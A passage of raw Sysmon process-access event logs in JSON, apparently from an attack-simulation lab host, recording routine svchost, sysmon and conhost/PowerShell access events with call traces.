C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5001,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5002,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5003,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5004,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5005,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5006,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5007,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5008,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4160-5F2D-0000-00106FA40700}\r\nTargetProcessId: 2148\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 